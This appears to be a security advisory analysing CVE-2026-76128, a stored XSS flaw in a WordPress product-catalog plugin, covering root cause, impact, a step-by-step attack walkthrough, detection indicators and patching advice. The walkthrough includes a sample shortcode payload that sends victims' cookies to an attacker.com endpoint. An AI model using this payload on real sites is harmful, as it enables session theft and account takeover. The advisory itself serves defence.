CVE-2026-76128: 
WordPress vulnerability analysis and mitigation

CVE-2026-76128 is a Stored Cross-Site Scripting (XSS) vulnerability in the eCommerce Product Catalog plugin for WordPress, developed by impleCode. It affects all versions up to and including 3.5.10, allowing authenticated attackers with contributor-level access or above to inject arbitrary web scripts via the style shortcode attribute. The vulnerability was published on August 25, 2026, and a patch has been made available. It carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is insufficient input sanitization and output escaping in the plugin's shortcode handler, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerability is notable because the malicious payload bypasses WordPress's built-in save-time wp_kses_post sanitization: since the payload is stored inside shortcode brackets without any HTML tags, the sanitizer does not flag it. The tainted HTML output is only generated at render time by the shortcode handler in ic/simple-formbuilder/pluggable.php (lines 840–842), meaning the injected script executes in the victim's browser when the page is loaded (GitHub Advisory, WordPress Trac).

Successful exploitation allows authenticated contributors to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims (including administrators), and defacement of page content. The scope is changed (per CVSS), meaning the impact extends beyond the plugin itself to the broader WordPress site and its visitors (GitHub Advisory, Wordfence).

No public proof-of-concept exploit code has been identified, and there is no evidence of active in-the-wild exploitation at the time of disclosure. The EPSS score is 0.0, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum contributor-level authentication, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, GitHub Advisory).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running eCommerce Product Catalog ≤ 3.5.10.
2. Create or Edit a Post/Page: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
3. Inject Malicious Shortcode: Insert a shortcode using the plugin's shortcode syntax with a crafted style attribute containing a JavaScript payload, e.g., [product_catalog style="malicious-value"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]. Because the payload contains no HTML tags at save time, wp_kses_post does not strip it.
4. Publish the Content: Save and publish the post or page. The malicious payload is stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the injected page, the shortcode handler renders the tainted HTML, causing the injected script to execute in the victim's browser.
6. Harvest Results: Collect stolen session cookies or credentials via the attacker-controlled endpoint, potentially enabling account takeover or further site compromise (GitHub Advisory, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing shortcode payloads with unusual style attribute values; error logs referencing pluggable.php in the eCommerce Product Catalog plugin.
• Database: WordPress wp_posts table entries containing shortcode markup with embedded script-like strings or encoded payloads within the style attribute of [product_catalog] or related shortcodes.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading pages containing the plugin's shortcodes; unusual referrer patterns in attacker-controlled server logs.
• File System: Unexpected modifications to plugin files in wp-content/plugins/ecommerce-product-catalog/, particularly ic/simple-formbuilder/pluggable.php, which could indicate further tampering beyond the shortcode injection (Wordfence).

Update the eCommerce Product Catalog plugin to a version beyond 3.5.10, which includes the fix documented in the plugin changeset (WordPress Changeset). As an interim measure, restrict contributor-level access to only fully trusted users, and audit existing pages using the plugin's shortcodes for signs of malicious injection. Implementing a Content Security Policy (CSP) header can reduce the impact of any injected scripts by limiting script execution to trusted origins. WordPress security plugins with real-time malware scanning can also help detect injected payloads (Wordfence, GitHub Advisory).